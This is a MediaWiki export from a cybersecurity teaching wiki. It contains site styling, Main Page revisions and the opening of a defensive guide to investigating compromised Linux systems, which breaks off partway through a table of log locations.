.skin-vector-2022 .wc-corporate h1,.skin-vector-2022 .wc-corporate h2,.skin-vector-2022 .wc-corporate h3{font-family:Arial,Helvetica,sans-serif;border:0;padding:0;line-height:1.2}.skin-vector-2022 .wc-corporate .mw-heading{margin:0;border:0}.skin-vector-2022 .wc-corporate .mw-editsection{display:none}.skin-vector-2022 .wc-corporate .topic-grid{display:grid}.skin-vector-2022 .wc-corporate .section-heading{display:flex;justify-content:space-between}.skin-vector-2022 .wc-corporate .topic-card{display:flex;flex-direction:column;border:1px solid var(--line);background:var(--surface);color:var(--text)}.skin-vector-2022 .wc-corporate .topic-card>a{margin-top:auto;font-size:13px}.skin-vector-2022 .wc-corporate .topic-card h3 a{color:var(--text)}.skin-vector-2022 .wc-corporate .topic-card p{color:var(--muted)}.skin-vector-2022 .wc-corporate .blue{color:var(--blue)}.skin-vector-2022 .wc-corporate .green{color:var(--green)}.skin-vector-2022 .wc-corporate .hero-actions p,.skin-vector-2022 .wc-corporate .knowledge-strip-inner>div p{display:contents}.skin-vector-2022 .wc-corporate .terminal{background:var(--code);color:#e4eef7;overflow:hidden}.skin-vector-2022 .wc-corporate .terminal>div{border-bottom:1px solid #ffffff26;color:#b2c1cf}.skin-vector-2022 .wc-corporate .terminal pre{border:0;margin:0;color:inherit;background:transparent;overflow-x:auto}.skin-vector-2022 .wc-corporate .hero-intro{max-width:510px}.skin-vector-2022 .wc-corporate .hero-actions a{color:#fff}.skin-vector-2022 .wc-corporate .hero-actions .primary{color:#17385f}.skin-vector-2022 .wc-corporate .hero-art{color:#fff}.skin-vector-2022 .wc-diagram-brand{display:block;width:34px;height:34px;background:url('/images/branding/theme-v1/wikicyber-mark-135.svg') center/contain no-repeat}.skin-vector-2022 .wc-diagram-icon{display:block;width:24px;height:24px;margin:0 auto 10px;background:center/contain no-repeat}.skin-vector-2022 .wc-diagram-systems{background-image:url('/images/branding/theme-v1/icon-systems.svg')}.skin-vector-2022 .wc-diagram-network{background-image:url('/images/branding/theme-v1/icon-network.svg')}.skin-vector-2022 .wc-diagram-forensics{background-image:url('/images/branding/theme-v1/icon-forensics.svg')}
.skin-vector-2022 #footer-icons{display:flex;align-items:center;gap:14px;flex-wrap:wrap}.skin-vector-2022 #footer-icons img{object-fit:contain}.skin-vector-2022 .wc-sre-logo{display:inline-flex;background:#fff;border-radius:4px;padding:0 5px}.skin-vector-2022 .wc-terms-bar{position:fixed;inset:auto 0 0;z-index:110;display:flex;align-items:center;justify-content:space-between;gap:24px;background:var(--surface);color:var(--text);border-top:1px solid var(--line);box-shadow:0 -4px 24px #1020300b;padding:20px max(28px,calc((100vw - 1320px)/2));font-family:Arial,Helvetica,sans-serif}.skin-vector-2022 .wc-terms-bar h2{font-size:16px;font-weight:bold;margin:0 0 5px;padding:0;border:0}.skin-vector-2022 .wc-terms-bar p{color:var(--muted);font-size:12px;line-height:1.7;margin:0}.skin-vector-2022 .wc-terms-bar a{color:var(--blue);text-decoration:underline}.skin-vector-2022 .wc-terms-actions{display:flex;align-items:center;gap:24px;flex-shrink:0}.skin-vector-2022 .wc-terms-actions button{border:0;background:#2855b2;color:#fff;border-radius:4px;padding:12px 18px;font:700 13px Arial,Helvetica,sans-serif;cursor:pointer}.skin-vector-2022 .wc-terms-actions a{font-size:12px}.skin-vector-2022 .wc-terms-reset{background:transparent;border:0;color:var(--blue);text-decoration:underline;font:12px Arial,Helvetica,sans-serif;cursor:pointer}.skin-vector-2022 .wc-terms-bar[hidden]{display:none}
@media(max-width:1100px){.skin-vector-2022 .wc-header-nav{display:none}}
@media(max-width:700px){.skin-vector-2022 .wc-terms-bar{padding:16px 20px;flex-direction:column;align-items:stretch;gap:13px}.skin-vector-2022 .wc-terms-actions{justify-content:space-between}.skin-vector-2022 .wc-slogan{font-size:9px}.skin-vector-2022 .mw-logo-wordmark{font-size:24px}}
@media print{.skin-vector-2022 .wc-terms-bar,.skin-vector-2022 .wc-terms-reset,.skin-vector-2022 .wc-header-nav{display:none!important}.skin-vector-2022{padding-bottom:0!important}}
.skin-vector-2022 .wc-corporate .enterprise-hero h1{color:#fff}
.skin-vector-2022 .wc-corporate .hero-art p{margin:0}

.skin-vector-2022 .enterprise-hero{background:#101f34;color:#fff;position:relative;overflow:hidden}
.skin-vector-2022 .enterprise-hero:after{content:'';position:absolute;inset:0;pointer-events:none;background:radial-gradient(ellipse at 90% 80%,#237c5333,transparent 55%)}
.skin-vector-2022 .enterprise-hero-inner{max-width:1320px;margin:auto;display:grid;grid-template-columns:1.08fr 1fr;gap:60px;align-items:center;min-height:560px;padding:70px 20px;position:relative;z-index:1}
.skin-vector-2022 .enterprise-hero h1{font-size:clamp(45px,4.6vw,68px);font-weight:500;letter-spacing:-2.6px;line-height:1.07;margin:0 0 28px;max-width:650px}
.skin-vector-2022 .enterprise-hero h1 span{color:#a0d8b0}
.skin-vector-2022 .enterprise-hero .hero-intro{font-size:18px;line-height:1.7;color:#c6d3e2;max-width:510px}
.skin-vector-2022 .enterprise-hero .hero-actions{gap:26px;margin:34px 0 0}
.skin-vector-2022 .enterprise-hero .primary{background:#fff;color:#17385f}
.skin-vector-2022 .enterprise-hero .text-link{color:#fff;font-weight:500}
.skin-vector-2022 .enterprise-hero .primary:hover{background:#edf3fd}
.skin-vector-2022 .hero-art{position:relative;min-height:350px;display:grid;align-content:center;padding:35px;background-image:linear-gradient(#90b4d40c 1px,transparent 1px),linear-gradient(90deg,#90b4d40c 1px,transparent 1px);background-size:35px 35px;border:1px solid #abc9ef20;border-radius:14px}
.skin-vector-2022 .art-heading{display:flex;align-items:center;gap:12px;font-size:12px;letter-spacing:1px;color:#b8cbdf;text-transform:uppercase;padding-bottom:23px}
.skin-vector-2022 .art-heading img{width:34px;height:34px}
.skin-vector-2022 .art-core{border:1px solid #6b91c466;border-radius:7px;padding:23px;background:#172d48;box-shadow:0 12px 35px #0002}
.skin-vector-2022 .art-core .art-label{color:#9dbce4;font-size:10px;letter-spacing:1.2px}
.skin-vector-2022 .art-core strong{display:block;font-size:24px;font-weight:400;margin-top:5px}
.skin-vector-2022 .art-connector{width:1px;height:29px;background:#79a0ce;margin:auto}
.skin-vector-2022 .art-branches{display:grid;grid-template-columns:repeat(3,1fr);gap:12px;position:relative}
.skin-vector-2022 .art-branches:before{content:'';position:absolute;height:1px;background:#79a0ce;top:0;left:16.6%;right:16.6%}
.skin-vector-2022 .art-branches>div{position:relative;padding-top:22px;text-align:center}
.skin-vector-2022 .art-branches>div:before{content:'';width:1px;height:22px;background:#79a0ce;position:absolute;top:0;left:50%}
.skin-vector-2022 .art-node{border:1px solid #6b91c466;border-radius:5px;background:#14283e;padding:17px 8px;color:#fff;font-size:12px}
.skin-vector-2022 .art-node svg{display:block;width:24px;height:24px;margin:0 auto 10px;color:#92c8b0}
.skin-vector-2022 .art-footer{font-size:10px;letter-spacing:.4px;color:#9bb3ce;margin:21px 0 0}
.skin-vector-2022 .knowledge-strip{background:var(--surface);border-bottom:1px solid var(--line)}
.skin-vector-2022 .knowledge-strip-inner{max-width:1320px;margin:auto;display:flex;justify-content:space-between;align-items:center;padding:25px 20px;gap:25px}
.skin-vector-2022 .knowledge-strip strong{font-size:14px;font-weight:500}
.skin-vector-2022 .knowledge-strip-inner>div{display:flex;gap:35px;flex-wrap:wrap}
.skin-vector-2022 .knowledge-strip a{font-size:13px;color:var(--muted)}
.skin-vector-2022 .home-section{max-width:1320px;margin:auto;padding:72px 20px}
.skin-vector-2022 .home-section .section-heading{align-items:center;margin-bottom:32px;gap:50px}
.skin-vector-2022 .home-section h2{font-size:38px;font-weight:400;letter-spacing:-1.2px;line-height:1.2;margin:0;max-width:600px}
.skin-vector-2022 .section-description{font-size:15px;line-height:1.8;color:var(--muted);max-width:360px;margin:0}
.skin-vector-2022 .home-section .topic-grid{grid-template-columns:repeat(4,minmax(0,1fr));gap:18px}
.skin-vector-2022 .home-section .topic-card{border-radius:5px;padding:28px 25px;min-height:315px;transition:border-color .15s,box-shadow .15s;position:relative}
.skin-vector-2022 .home-section .topic-card:hover{transform:none;box-shadow:0 8px 24px #152d4a0a}
.skin-vector-2022 .home-section .topic-icon{background:none;width:33px;height:33px;border-radius:0;margin-bottom:30px;font-size:28px;display:block}
.skin-vector-2022 .home-section .topic-card h3{font-size:21px;font-weight:500;letter-spacing:-.5px}
.skin-vector-2022 .home-section .topic-card p{font-size:14px;line-height:1.7}
.skin-vector-2022 .home-section .card-link{font-size:13px;font-weight:500;padding-top:18px}
.skin-vector-2022 .enterprise-feature{background:var(--tint);border-top:1px solid var(--line);border-bottom:1px solid var(--line)}
.skin-vector-2022 .enterprise-feature-inner{max-width:1320px;margin:auto;padding:64px 20px;display:grid;grid-template-columns:1fr 1fr;gap:90px;align-items:center}
.skin-vector-2022 .enterprise-feature h2{font-size:39px;font-weight:400;letter-spacing:-1.2px;margin-bottom:20px}
.skin-vector-2022 .enterprise-feature p{font-size:16px;line-height:1.8;color:var(--muted);max-width:510px}
.skin-vector-2022 .enterprise-feature .text-link{display:inline-block;margin-top:12px}
.skin-vector-2022 .enterprise-feature .terminal{border-radius:7px}
.skin-vector-2022 .enterprise-feature .terminal pre{font-size:14px;padding:28px;line-height:2.1}
.skin-vector-2022 .enterprise-feature .terminal>div{padding:15px 20px}
.skin-vector-2022 .enterprise-feature .terminal>div span{font-size:11px}
.skin-vector-2022 .contribution-section{max-width:1320px;margin:auto;padding:65px 20px;display:grid;grid-template-columns:1fr 1fr;gap:90px}
.skin-vector-2022 .contribution-section h2{font-size:34px;font-weight:400;letter-spacing:-1px;max-width:450px;margin:0}
.skin-vector-2022 .contribution-section p{font-size:15px;line-height:1.8;color:var(--muted);margin-bottom:20px}
.skin-vector-2022 .home-section #search-status:empty{display:none}
.skin-vector-2022 .corporate-rule{height:4px;background:linear-gradient(90deg,#2855b2 25%,#41b343 90%)}
@media(max-width:1150px){.skin-vector-2022 .header{padding:0 25px;gap:22px}
.skin-vector-2022 .corporate-nav{gap:17px}
.skin-vector-2022 .brand{min-width:220px}
.skin-vector-2022 .brand>span{font-size:25px}
.skin-vector-2022 .brand small{font-size:9px}
.skin-vector-2022 .search{max-width:240px}
.skin-vector-2022 .layout{grid-template-columns:160px minmax(0,1fr);gap:24px;padding:0 25px}
.skin-vector-2022 .enterprise-hero-inner{gap:35px;padding:60px 30px;min-height:510px}
.skin-vector-2022 .enterprise-hero h1{font-size:53px}
.skin-vector-2022 .hero-art{padding:22px}
.skin-vector-2022 .home-section,.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{padding-left:30px;padding-right:30px}
.skin-vector-2022 .home-section .topic-grid{grid-template-columns:repeat(2,minmax(0,1fr))}
.skin-vector-2022 .home-section .topic-card{min-height:270px}
.skin-vector-2022 .knowledge-strip-inner{padding:22px 30px}
.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{gap:45px}
.skin-vector-2022 .knowledge-strip-inner>div{gap:25px}
}
@media(max-width:850px){.skin-vector-2022 .corporate-nav{display:none}
.skin-vector-2022 .enterprise-hero-inner{grid-template-columns:1fr;gap:42px;padding:52px 25px}
.skin-vector-2022 .enterprise-hero h1{font-size:54px;max-width:650px}
.skin-vector-2022 .hero-art{max-width:590px;width:100%;min-height:300px;justify-self:center}
.skin-vector-2022 .enterprise-hero .hero-intro{max-width:620px}
.skin-vector-2022 .knowledge-strip-inner{align-items:start;flex-direction:column;gap:15px}
.skin-vector-2022 .home-section .section-heading{flex-direction:column;align-items:start;gap:20px}
.skin-vector-2022 .section-description{max-width:580px}
.skin-vector-2022 .enterprise-feature-inner{grid-template-columns:1fr;gap:28px}
.skin-vector-2022 .enterprise-feature .terminal{max-width:650px}
.skin-vector-2022 .contribution-section{grid-template-columns:1fr;gap:22px}
.skin-vector-2022 .contribution-section h2{max-width:none}
body.skin-vector-2022.page-Main_Page .appearance{gap:23px}
}
@media(max-width:760px){.skin-vector-2022 .header{padding:17px 20px;height:auto;gap:14px}
.skin-vector-2022 .brand{min-width:0}
.skin-vector-2022 .search{max-width:none;background:var(--bg);margin-left:0}
.skin-vector-2022 .layout{display:block;padding:0 20px}
body.skin-vector-2022.page-Main_Page .sidebar.open{display:block;padding:20px 25px}
body.skin-vector-2022.page-Main_Page .page-toolbar{padding:0 20px;height:55px;overflow-x:auto}
.skin-vector-2022 .page-toolbar>div{gap:20px;white-space:nowrap}
.skin-vector-2022 .page-toolbar a{font-size:11px}
.skin-vector-2022 .enterprise-hero h1{font-size:46px;letter-spacing:-1.8px}
.skin-vector-2022 .enterprise-hero .hero-intro{font-size:17px}
.skin-vector-2022 .enterprise-hero .hero-actions{gap:22px}
.skin-vector-2022 .home-section{padding:50px 25px}
.skin-vector-2022 .home-section h2{font-size:32px}
.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{padding:45px 25px}
.skin-vector-2022 .enterprise-feature h2{font-size:32px}
.skin-vector-2022 .contribution-section h2{font-size:29px}
.skin-vector-2022 .home-section .topic-card{padding:25px;min-height:290px}
.skin-vector-2022 .knowledge-strip-inner{padding:22px 25px}
.skin-vector-2022 .knowledge-strip-inner>div{gap:12px 22px}
.skin-vector-2022 .hero-art{padding:24px}
.skin-vector-2022 .article-heading h1{font-size:34px}
}
@media(max-width:480px){.skin-vector-2022 .home-section .topic-grid{grid-template-columns:1fr}
.skin-vector-2022 .home-section .topic-card{min-height:245px}
.skin-vector-2022 .enterprise-hero h1{font-size:40px}
.skin-vector-2022 .enterprise-hero .hero-actions{align-items:start;flex-direction:column}
.skin-vector-2022 .hero-art{padding:20px 15px;min-height:300px}
.skin-vector-2022 .art-node{padding:15px 3px;font-size:10px}
.skin-vector-2022 .art-core{padding:18px}
.skin-vector-2022 .art-core strong{font-size:22px}
.skin-vector-2022 .art-footer{font-size:9px}
.skin-vector-2022 .art-branches{gap:8px}
.skin-vector-2022 .brand>span{font-size:25px}
.skin-vector-2022 .knowledge-strip strong{font-size:13px}
.skin-vector-2022 .enterprise-feature .terminal pre{font-size:12px;padding:22px}
}
.skin-vector-2022 .enterprise-hero-inner>div,.skin-vector-2022 .enterprise-feature-inner>div,.skin-vector-2022 .contribution-section>div{min-width:0}
.skin-vector-2022 .enterprise-hero{background-color:#101f34;background-image:linear-gradient(90deg,rgba(10,22,36,.91) 0%,rgba(10,22,36,.78) 42%,rgba(10,22,36,.42) 100%),url('/images/branding/theme-v1/hero.jpg');background-size:cover;background-position:center 48%}
.skin-vector-2022 .enterprise-hero:after{background:none}
.skin-vector-2022 .hero-art{background-color:rgba(16,31,52,.72)}
@media(max-width:850px){.skin-vector-2022 .enterprise-hero{background-position:55% center;background-image:linear-gradient(180deg,rgba(10,22,36,.87),rgba(10,22,36,.67)),url('/images/branding/theme-v1/hero.jpg')}
}

/* END WikiCyber corporate v1 */

Main Page

2026-10-16T19:21:35Z

AdminUser: Main Page: remove icons from the topic cards

Main Page

2026-10-15T22:12:57Z

AdminUser: Protected "Main Page" ([Edit=Allow only administrators] (indefinite) [Move=Allow only administrators] (indefinite))

__NOTOC__
<div class="wc-home">
<div class="wc-hero">
<h1>Understand systems.<br /><span>Build your defenses.</span></h1>
<p class="wc-intro">A clear, practical reference for learning cybersecurity. Explore operating systems, secure networks, and the evidence that tells their stories.</p>
<div class="wc-actions">[[#wc-topics|<span class="wc-primary">Explore the knowledge base →</span>]] [[Special:AllPages|Browse articles ↗]]</div>
<div class="wc-values"><span>✓ Open knowledge</span><span>✓ Practical guidance</span><span>✓ Community contributions</span></div>
</div>
<div class="wc-topics" id="wc-topics">
<p class="wc-eyebrow">FIND YOUR STARTING POINT</p>
<h2>Explore by topic</h2>
<div class="wc-grid">
<div class="wc-card"><span class="wc-icon wc-blue" aria-hidden="true">⊞</span><h3>[[:Category:Windows|Windows]]</h3><p>Accounts, policies, PowerShell, and the foundations of a secure Windows system.</p><div class="wc-card-link">[[:Category:Windows|Explore Windows →]]</div></div>
<div class="wc-card"><span class="wc-icon wc-green" aria-hidden="true">>_</span><h3>[[:Category:Linux|Linux]]</h3><p>Understand permissions, audit services, and get comfortable at the command line.</p><div class="wc-card-link">[[:Category:Linux|Explore Linux →]]</div></div>
<div class="wc-card"><span class="wc-icon wc-blue" aria-hidden="true">⌘</span><h3>[[:Category:Cisco|Cisco & networking]]</h3><p>Connect the concepts behind networks, from the OSI model to device security.</p><div class="wc-card-link">[[:Category:Cisco|Explore networking →]]</div></div>
<div class="wc-card"><span class="wc-icon wc-green" aria-hidden="true">◎</span><h3>[[:Category:Windows Forensics|Digital forensics]]</h3><p>Follow the evidence through event logs, system artifacts, and careful analysis.</p><div class="wc-card-link">[[:Category:Windows Forensics|Explore forensics →]]</div></div>
</div>
</div>
<div class="wc-feature">
<div><p class="wc-eyebrow">A CLOSER LOOK</p><h2>Start with the evidence.</h2><p>Explore forensic concepts and learn how system artifacts can help explain what happened.</p>[[:Category:Windows Forensics|Explore the forensics collection →]]</div>
<div class="wc-terminal"><div class="wc-terminal-label">linux</div><pre># Establish a starting point
$ journalctl --since today
$ last -a
$ ss -tulpn</pre></div>
</div>
<div class="wc-contribute"><h2>Good knowledge grows together.</h2><p>WikiCyber articles are written by invited contributors and published through a review workflow.</p>[[Help:Your first article|Writing your first article →]]</div>
</div>

Main Page

2026-10-15T22:12:24Z

AdminUser:

__NOTOC__
<div class="wc-home">
<div class="wc-hero">
<h1>Understand systems.<br /><span>Build your defenses.</span></h1>
<p class="wc-intro">A clear, practical reference for learning cybersecurity. Explore operating systems, secure networks, and the evidence that tells their stories.</p>
<div class="wc-actions">[[#wc-topics|<span class="wc-primary">Explore the knowledge base →</span>]] [[Special:AllPages|Browse articles ↗]]</div>
<div class="wc-values"><span>✓ Open knowledge</span><span>✓ Practical guidance</span><span>✓ Community contributions</span></div>
</div>
<div class="wc-topics" id="wc-topics">
<p class="wc-eyebrow">FIND YOUR STARTING POINT</p>
<h2>Explore by topic</h2>
<div class="wc-grid">
<div class="wc-card"><span class="wc-icon wc-blue" aria-hidden="true">⊞</span><h3>[[:Category:Windows|Windows]]</h3><p>Accounts, policies, PowerShell, and the foundations of a secure Windows system.</p><div class="wc-card-link">[[:Category:Windows|Explore Windows →]]</div></div>
<div class="wc-card"><span class="wc-icon wc-green" aria-hidden="true">>_</span><h3>[[:Category:Linux|Linux]]</h3><p>Understand permissions, audit services, and get comfortable at the command line.</p><div class="wc-card-link">[[:Category:Linux|Explore Linux →]]</div></div>
<div class="wc-card"><span class="wc-icon wc-blue" aria-hidden="true">⌘</span><h3>[[:Category:Cisco|Cisco & networking]]</h3><p>Connect the concepts behind networks, from the OSI model to device security.</p><div class="wc-card-link">[[:Category:Cisco|Explore networking →]]</div></div>
<div class="wc-card"><span class="wc-icon wc-green" aria-hidden="true">◎</span><h3>[[:Category:Windows Forensics|Digital forensics]]</h3><p>Follow the evidence through event logs, system artifacts, and careful analysis.</p><div class="wc-card-link">[[:Category:Windows Forensics|Explore forensics →]]</div></div>
</div>
</div>
<div class="wc-feature">
<div><p class="wc-eyebrow">A CLOSER LOOK</p><h2>Start with the evidence.</h2><p>Explore forensic concepts and learn how system artifacts can help explain what happened.</p>[[:Category:Windows Forensics|Explore the forensics collection →]]</div>
<div class="wc-terminal"><div class="wc-terminal-label">linux</div><pre># Establish a starting point
$ journalctl --since today
$ last -a
$ ss -tulpn</pre></div>
</div>
<div class="wc-contribute"><h2>Good knowledge grows together.</h2><p>WikiCyber articles are written by invited contributors and published through a review workflow.</p>[[Help:Your first article|Writing your first article →]]</div>
</div>

Main Page

2026-10-15T22:05:57Z

AdminUser: Roll out redesigned WikiCyber homepage

__NOTOC__
<div class="wc-home">
<div class="wc-hero">
<h1>Understand systems.<br /><span>Build your defenses.</span></h1>
<p class="wc-intro">A clear, practical reference for learning cybersecurity. Explore operating systems, secure networks, and the evidence that tells their stories.</p>
<div class="wc-actions">[[#wc-topics|<span class="wc-primary">Explore the knowledge base →</span>]] [[Special:AllPages|Browse articles ↗]]</div>
<div class="wc-values"><span>✓ Open knowledge</span><span>✓ Practical guidance</span><span>✓ Community contributions</span></div>
</div>
<div class="wc-topics" id="wc-topics">
<p class="wc-eyebrow">FIND YOUR STARTING POINT</p>
<h2>Explore by topic</h2>
<div class="wc-grid">
<div class="wc-card"><span class="wc-icon wc-blue" aria-hidden="true">⊞</span><h3>[[:Category:Windows|Windows]]</h3><p>Accounts, policies, PowerShell, and the foundations of a secure Windows system.</p><div class="wc-card-link">[[:Category:Windows|Explore Windows →]]</div></div>
<div class="wc-card"><span class="wc-icon wc-green" aria-hidden="true">>_</span><h3>[[:Category:Linux|Linux]]</h3><p>Understand permissions, audit services, and get comfortable at the command line.</p><div class="wc-card-link">[[:Category:Linux|Explore Linux →]]</div></div>
<div class="wc-card"><span class="wc-icon wc-blue" aria-hidden="true">⌘</span><h3>[[:Category:Cisco|Cisco & networking]]</h3><p>Connect the concepts behind networks, from the OSI model to device security.</p><div class="wc-card-link">[[:Category:Cisco|Explore networking →]]</div></div>
<div class="wc-card"><span class="wc-icon wc-green" aria-hidden="true">◎</span><h3>[[:Category:Windows Forensics|Digital forensics]]</h3><p>Follow the evidence through event logs, system artifacts, and careful analysis.</p><div class="wc-card-link">[[:Category:Windows Forensics|Explore forensics →]]</div></div>
</div>
</div>
<div class="wc-feature">
<div><p class="wc-eyebrow">A CLOSER LOOK</p><h2>Start with the evidence.</h2><p>Explore forensic concepts and learn how system artifacts can help explain what happened.</p>[[:Category:Windows Forensics|Explore the forensics collection →]]</div>
<div class="wc-terminal"><div class="wc-terminal-label">linux · investigation</div><pre># Establish a starting point
$ journalctl --since today
$ last -a
$ ss -tulpn</pre></div>
</div>
<div class="wc-contribute"><h2>Good knowledge grows together.</h2><p>WikiCyber articles are written by invited contributors and published through a review workflow.</p>[[Help:Your first article|Writing your first article →]]</div>
</div>

MediaWiki:Common.css

2026-10-15T22:05:56Z

AdminUser: Add styling scoped to Main Page only

MediaWiki:Common.css

2026-10-15T22:05:20Z

AdminUser: Restore homepage rollout backup

Main Page

2026-10-15T22:05:19Z

AdminUser: Restore homepage rollout backup

<strong>MediaWiki has been installed.</strong>

Consult the [https://www.mediawiki.org/wiki/Special:MyLanguage/Help:Contents User's Guide] for information on using the wiki software.

== Getting started ==
* [https://www.mediawiki.org/wiki/Special:MyLanguage/Manual:Configuration_settings Configuration settings list]
* [https://www.mediawiki.org/wiki/Special:MyLanguage/Manual:FAQ MediaWiki FAQ]
* [https://lists.wikimedia.org/postorius/lists/mediawiki-announce.lists.wikimedia.org/ MediaWiki release mailing list]
* [https://www.mediawiki.org/wiki/Special:MyLanguage/Localisation#Translation_resources Localise MediaWiki for your language]
* [https://www.mediawiki.org/wiki/Special:MyLanguage/Manual:Combating_spam Learn how to combat spam on your wiki]

Main Page

2026-10-15T22:05:18Z

AdminUser: Roll out redesigned WikiCyber homepage

__NOTOC__
<div class="wc-home">
<div class="wc-hero">
<h1>Understand systems.<br /><span>Build your defenses.</span></h1>
<p class="wc-intro">A clear, practical reference for learning cybersecurity. Explore operating systems, secure networks, and the evidence that tells their stories.</p>
<div class="wc-actions">[[#wc-topics|<span class="wc-primary">Explore the knowledge base →</span>]] [[Special:AllPages|Browse articles ↗]]</div>
<div class="wc-values"><span>✓ Open knowledge</span><span>✓ Practical guidance</span><span>✓ Community contributions</span></div>
</div>
<div class="wc-topics" id="wc-topics">
<p class="wc-eyebrow">FIND YOUR STARTING POINT</p>
<h2>Explore by topic</h2>
<div class="wc-grid">
<div class="wc-card"><span class="wc-icon wc-blue" aria-hidden="true">⊞</span><h3>[[:Category:Windows|Windows]]</h3><p>Accounts, policies, PowerShell, and the foundations of a secure Windows system.</p><div class="wc-card-link">[[:Category:Windows|Explore Windows →]]</div></div>
<div class="wc-card"><span class="wc-icon wc-green" aria-hidden="true">>_</span><h3>[[:Category:Linux|Linux]]</h3><p>Understand permissions, audit services, and get comfortable at the command line.</p><div class="wc-card-link">[[:Category:Linux|Explore Linux →]]</div></div>
<div class="wc-card"><span class="wc-icon wc-blue" aria-hidden="true">⌘</span><h3>[[:Category:Cisco|Cisco & networking]]</h3><p>Connect the concepts behind networks, from the OSI model to device security.</p><div class="wc-card-link">[[:Category:Cisco|Explore networking →]]</div></div>
<div class="wc-card"><span class="wc-icon wc-green" aria-hidden="true">◎</span><h3>[[:Category:Windows Forensics|Digital forensics]]</h3><p>Follow the evidence through event logs, system artifacts, and careful analysis.</p><div class="wc-card-link">[[:Category:Windows Forensics|Explore forensics →]]</div></div>
</div>
</div>
<div class="wc-feature">
<div><p class="wc-eyebrow">A CLOSER LOOK</p><h2>Start with the evidence.</h2><p>Explore forensic concepts and learn how system artifacts can help explain what happened.</p>[[:Category:Windows Forensics|Explore the forensics collection →]]</div>
<div class="wc-terminal"><div class="wc-terminal-label">linux · investigation</div><pre># Establish a starting point
$ journalctl --since today
$ last -a
$ ss -tulpn</pre></div>
</div>
<div class="wc-contribute"><h2>Good knowledge grows together.</h2><p>WikiCyber articles are written by invited contributors and published through a review workflow.</p>[[Help:Your first article|Writing your first article →]]</div>
</div>

MediaWiki:Common.css

2026-10-15T22:05:17Z

AdminUser: Add styling scoped to Main Page only

File:FQPractice.evtx

2026-10-08T17:40:13Z

AdminUser: == Summary == FQPractice.evtx sample log for Introduction to Forensics (moved from cypat.guide)

== Summary ==
FQPractice.evtx sample log for Introduction to Forensics (moved from cypat.guide)

Attack Analysis

2026-10-02T23:38:22Z

AdminUser: AdminUser moved page Draft:Attack Analysis to Attack Analysis without leaving a redirect: Approved by AdminUser

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]

|}

'''Attack analysis''' is the work you do ''after'' something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.

== Ground rules ==

* '''Only analyze systems you own or are explicitly authorized to examine.''' This one is pretty self-explanatory.
* '''Write down what you do.''' Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker's.
* '''Any indicator is a lead, but not proof.''' A failed-login flood, an odd file in <code>/tmp</code> or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.
* '''Do not trust a compromised machine to tell the truth.''' If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].
* '''Understand before you delete.''' Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.
* '''Work on copies, read-only.''' Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with <code>sha256sum</code>) of each image when you make it so you can show later that it did not change.

== The analysis loop ==

Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.

# '''Preserve''' evidence: memory, running state and disks, before they change or disappear.
# '''Find the way in''': the initial access (a guessed password, a vulnerable web application, a stolen key).
# '''Find what they did''': commands run, files touched, accounts created, data reached, etc.
# '''Find what they left behind''': persistence/backdoors so they can come back.
# '''Look for hiding''': rootkits and log tampering.
# '''Build a timeline''' that ties the above together, and check it for gaps.
# '''Contain, clean up and harden''': only once you understand the scope.

== Three ways to examine a system ==

The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.

{| class="wikitable"
! Approach !! What you get !! Watch out for
|-
| '''Live system''' (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).
|-
| '''Memory image''' || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description ("symbols") of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).
|-
| '''Disk image''' || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.
|}

== Where Linux keeps evidence ==

Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).

{| class="wikitable"
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you
|-
| Authentication and sudo || <code>/var/log/auth.log</code> || <code>/var/log/secure</code> || SSH logins (successful and failed), <code>sudo</code> and <code>su</code> use, new accounts
|-
| General system log || <code>/var/log/syslog</code> || <code>/var/log/messages</code> || Service starts and crashes, kernel messages, cron runs
|-
| systemd journal || <code>journalctl</code> || <code>journalctl</code> || The same events, indexed; the only source on systems without a syslog daemon
|-
| Login records || <code>last</code>, <code>lastb</code>, <code>lastlog</code> (read <code>/var/log/wtmp</code>, <code>btmp</code>, <code>lastlog</code>) || same || Who logged in, from where, and when; failed logins
|-
| Web server logs || <code>/var/log/apache2/</code> or <code>/var/log/nginx/</code> || <code>/var/log/httpd/</code> or <code>/var/log/nginx/</code> || Every request the web server handled (see below)
|-
| Audit framework (if installed) || <code>/var/log/audit/audit.log</code> || <code>/var/log/audit/audit.log</code> || File access, command execution and account changes, according to the rules configured
|-
| Package history || <code>/var/log/dpkg.log</code>, <code>/var/log/apt/history.log</code> || <code>dnf history</code>, <code>/var/log/dnf.log</code> || Software installed or removed, and when
|-
